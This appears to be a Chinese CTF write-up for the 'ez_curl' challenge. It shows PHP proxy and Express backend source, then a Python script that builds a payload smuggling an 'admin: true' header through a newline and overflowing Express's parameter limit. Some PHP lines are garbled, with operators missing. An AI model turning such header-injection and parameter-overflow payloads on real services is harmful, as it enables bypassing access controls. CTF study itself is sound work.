ez_curl

363 阅读1分钟
php
<?php
highlight_file(__FILE__);
$url 'http://back-end:3000/flag?';
$input file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i 0$i count($headers); $i++){
    $offset stripos($headers[$i], ':');
    $key substr($headers[$i], 0$offset);
    $value substr($headers[$i], $offset 1);
    if(stripos($key'admin') > -1 && stripos($value'true') > -1){
        die('try hard');
    }
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result curl_exec($ch);
curl_close($ch);
echo $result;`

直接说 两个漏洞 1,stripos(key, 'admin') > -1 && stripos(value, 'true') > -1,多行绕过

javascript
const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
    }
});

app.listen({ port: port , host: '0.0.0.0'});

2,express的parameterLimit默认为1000,溢出绕过 构造palyload

import json
from abc import ABC

datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],
         "params": {"admin": "true"}}

for i in range(1020):
    datas["params"]["x" + str(i)] = i

json1 = json.dumps(datas)
print(json1)
print("\n")

参考文档:## [理解Express中间件]